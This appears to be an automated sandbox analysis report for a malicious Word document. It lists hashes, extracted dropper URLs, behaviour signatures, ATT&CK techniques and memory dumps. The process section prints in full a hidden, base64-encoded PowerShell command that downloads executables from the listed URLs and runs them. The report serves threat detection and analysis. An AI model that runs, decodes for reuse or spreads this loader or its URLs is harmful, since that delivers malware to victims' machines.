9c2c1ec8b79146fe738554c3278c0c5aa0233b78fabc9babab89d460959901de

General

Target

9c2c1ec8b79146fe738554c3278c0c5aa0233b78fabc9babab89d460959901de.doc
Size

196KB
MD5

a2ce4f44ad38c51c43d8d7a6e99a16b1
SHA1

3f8bd5d0106a434e6233f9820571963991d99e04
SHA256

9c2c1ec8b79146fe738554c3278c0c5aa0233b78fabc9babab89d460959901de
SHA512

a018c0686140a80f5094f11aca41c3bf247e4f752116fd6100877ecce02d178637169fbba3967de18260ff42f4e4cc705bd4debcce70e3ff08a5d7efca6739ef

Score

10^/10

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

http://offisepost.info/img/Q/

exe.dropper

http://purviitech.com/111/c39b5jp/

exe.dropper

https://www.awchang.com/wp-content/uploads/2019/02/uk8h/

exe.dropper

https://www.landzoom.com/wp-admin/0Z/

exe.dropper

https://www.municipales.lejournaltoulousain.fr/wp-content/yar/

Signatures

Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.

Processes:

powershell.exe

description pid pid_target process target process

Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 1724 628 powershell.exe
Blocklisted process makes network request 4 IoCs

Processes:

powershell.exe

flow pid process

28 1724 powershell.exe
43 1724 powershell.exe
45 1724 powershell.exe
47 1724 powershell.exe

description	pid	pid_target	process	target process
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1724	628	powershell.exe

flow	pid	process
28	1724	powershell.exe
43	1724	powershell.exe
45	1724	powershell.exe
47	1724	powershell.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

WINWORD.EXE

description	ioc	process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

Processes:

WINWORD.EXE

description	ioc	process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 2 IoCs

Processes:

WINWORD.EXE

pid process

3016 WINWORD.EXE
3016 WINWORD.EXE
Suspicious behavior: EnumeratesProcesses 2 IoCs

Processes:

powershell.exe

pid process

1724 powershell.exe
1724 powershell.exe
Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

powershell.exe

description pid process

Token: SeDebugPrivilege 1724 powershell.exe
Suspicious use of FindShellTrayWindow 2 IoCs

Processes:

WINWORD.EXE

pid process

3016 WINWORD.EXE
3016 WINWORD.EXE
Suspicious use of SetWindowsHookEx 8 IoCs

Processes:

WINWORD.EXE

pid process

3016 WINWORD.EXE
3016 WINWORD.EXE
3016 WINWORD.EXE
3016 WINWORD.EXE
3016 WINWORD.EXE
3016 WINWORD.EXE
3016 WINWORD.EXE
3016 WINWORD.EXE

pid	process
3016	WINWORD.EXE
3016	WINWORD.EXE

pid	process
1724	powershell.exe
1724	powershell.exe

description	pid	process
Token: SeDebugPrivilege	1724	powershell.exe

pid	process
3016	WINWORD.EXE
3016	WINWORD.EXE

pid	process
3016	WINWORD.EXE
3016	WINWORD.EXE
3016	WINWORD.EXE
3016	WINWORD.EXE
3016	WINWORD.EXE
3016	WINWORD.EXE
3016	WINWORD.EXE
3016	WINWORD.EXE

Suspicious use of WriteProcessMemory 2 IoCs

Processes:

WINWORD.EXE

description	pid	process	target process
PID 3016 wrote to memory of 2900	3016	WINWORD.EXE	splwow64.exe
PID 3016 wrote to memory of 2900	3016	WINWORD.EXE	splwow64.exe

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\9c2c1ec8b79146fe738554c3278c0c5aa0233b78fabc9babab89d460959901de.doc" /o ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:3016

C:\Windows\splwow64.exe
C:\Windows\splwow64.exe 12288
2⤵
PID:2900

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -w hidden -en JABOAGQAbwBuAHYAcwBnAGUAYwByAGEAdQB6AD0AJwBWAHMAagBhAGoAegBsAHEAcQBmACcAOwAkAFAAdgBlAHUAagB3AHoAaABzAGYAbAB0ACAAPQAgACcAMwA0ADYAJwA7ACQAUAB6AGcAZwBvAHIAbQBiAGwAegBxAHgAPQAnAFMAbgB1AHAAdwBlAHYAeABuAGMAJwA7ACQAUgBhAHcAcQBhAGUAegBuAGwAPQAkAGUAbgB2ADoAdQBzAGUAcgBwAHIAbwBmAGkAbABlACsAJwBcACcAKwAkAFAAdgBlAHUAagB3AHoAaABzAGYAbAB0ACsAJwAuAGUAeABlACcAOwAkAFoAYwBuAHgAaABtAGIAbgBwAGQAbAB0AGYAPQAnAEsAawBzAHQAYwB3AG8AcwBjACcAOwAkAEcAawBrAG4AdQB5AHoAZABhAGkAPQAmACgAJwBuAGUAdwAtACcAKwAnAG8AYgBqAGUAYwAnACsAJwB0ACcAKQAgAE4ARQB0AC4AdwBlAGIAYwBsAEkARQBuAFQAOwAkAEgAagBhAHEAcQB2AHEAdQBmAHUAPQAnAGgAdAB0AHAAOgAvAC8AbwBmAGYAaQBzAGUAcABvAHMAdAAuAGkAbgBmAG8ALwBpAG0AZwAvAFEALwAqAGgAdAB0AHAAOgAvAC8AcAB1AHIAdgBpAGkAdABlAGMAaAAuAGMAbwBtAC8AMQAxADEALwBjADMAOQBiADUAagBwAC8AKgBoAHQAdABwAHMAOgAvAC8AdwB3AHcALgBhAHcAYwBoAGEAbgBnAC4AYwBvAG0ALwB3AHAALQBjAG8AbgB0AGUAbgB0AC8AdQBwAGwAbwBhAGQAcwAvADIAMAAxADkALwAwADIALwB1AGsAOABoAC8AKgBoAHQAdABwAHMAOgAvAC8AdwB3AHcALgBsAGEAbgBkAHoAbwBvAG0ALgBjAG8AbQAvAHcAcAAtAGEAZABtAGkAbgAvADAAWgAvACoAaAB0AHQAcABzADoALwAvAHcAdwB3AC4AbQB1AG4AaQBjAGkAcABhAGwAZQBzAC4AbABlAGoAbwB1AHIAbgBhAGwAdABvAHUAbABvAHUAcwBhAGkAbgAuAGYAcgAvAHcAcAAtAGMAbwBuAHQAZQBuAHQALwB5AGEAcgAvACcALgAiAHMAUABgAGwAaQB0ACIAKAAnACoAJwApADsAJABNAGwAeABzAG0AZABuAHAAcgBrAG8APQAnAEUAdwB6AHYAcABiAGIAawBuAHgAbABtACcAOwBmAG8AcgBlAGEAYwBoACgAJABPAGcAdQBsAHAAZgBwAGEAIABpAG4AIAAkAEgAagBhAHEAcQB2AHEAdQBmAHUAKQB7AHQAcgB5AHsAJABHAGsAawBuAHUAeQB6AGQAYQBpAC4AIgBEAE8AYAB3AGAATgBsAE8AYABBAGQARgBJAGwARQAiACgAJABPAGcAdQBsAHAAZgBwAGEALAAgACQAUgBhAHcAcQBhAGUAegBuAGwAKQA7ACQAUQBjAGsAawBrAGMAcgB6AHEAcQA9ACcASABmAHAAcQB4AHYAdwBhAHAAZwB3ACcAOwBJAGYAIAAoACgALgAoACcARwBlACcAKwAnAHQALQBJAHQAZQBtACcAKQAgACQAUgBhAHcAcQBhAGUAegBuAGwAKQAuACIAbABgAEUATgBnAFQAaAAiACAALQBnAGUAIAAzADQANQA0ADkAKQAgAHsAWwBEAGkAYQBnAG4AbwBzAHQAaQBjAHMALgBQAHIAbwBjAGUAcwBzAF0AOgA6ACIAUwB0AEEAYABSAFQAIgAoACQAUgBhAHcAcQBhAGUAegBuAGwAKQA7ACQAVABmAHoAbwBsAGYAcgB2AD0AJwBIAGEAZQBrAGEAZQBmAGoAeQB5AHQAJwA7AGIAcgBlAGEAawA7ACQAVwB6AHAAcQB0AHQAagBnAHIAaABqAGoAPQAnAEMAZQBzAHoAbQBoAGMAagAnAH0AfQBjAGEAdABjAGgAewB9AH0AJABMAGEAawBiAG0AdQBlAGgAeABsAGMAbwA9ACcAWQBiAG4AaABwAHMAdQBiAG8AZABkACcA
1⤵
- Process spawned unexpected child process
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1724

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Replay Monitor

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Downloads

memory/1724-140-0x00007FFB03BB0000-0x00007FFB04671000-memory.dmp

Filesize
10.8MB

Download
memory/1724-139-0x000001D3D8AF0000-0x000001D3D8B12000-memory.dmp

Filesize
136KB

Download
memory/2900-137-0x0000000000000000-mapping.dmp

Download
memory/3016-133-0x00007FFAEED50000-0x00007FFAEED60000-memory.dmp

Filesize
64KB

Download
memory/3016-134-0x00007FFAEED50000-0x00007FFAEED60000-memory.dmp

Filesize
64KB

Download
memory/3016-135-0x00007FFAECBE0000-0x00007FFAECBF0000-memory.dmp

Filesize
64KB

Download
memory/3016-136-0x00007FFAECBE0000-0x00007FFAECBF0000-memory.dmp

Filesize
64KB

Download
memory/3016-130-0x00007FFAEED50000-0x00007FFAEED60000-memory.dmp

Filesize
64KB

Download
memory/3016-138-0x000002415E960000-0x000002415E964000-memory.dmp

Filesize
16KB

Download
memory/3016-132-0x00007FFAEED50000-0x00007FFAEED60000-memory.dmp

Filesize
64KB

Download
memory/3016-131-0x00007FFAEED50000-0x00007FFAEED60000-memory.dmp

Filesize
64KB

Download
memory/3016-142-0x00007FFAEED50000-0x00007FFAEED60000-memory.dmp

Filesize
64KB

Download
memory/3016-143-0x00007FFAEED50000-0x00007FFAEED60000-memory.dmp

Filesize
64KB

Download
memory/3016-144-0x00007FFAEED50000-0x00007FFAEED60000-memory.dmp

Filesize
64KB

Download
memory/3016-145-0x00007FFAEED50000-0x00007FFAEED60000-memory.dmp

Filesize
64KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Matrix ATT&CK v6

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Downloads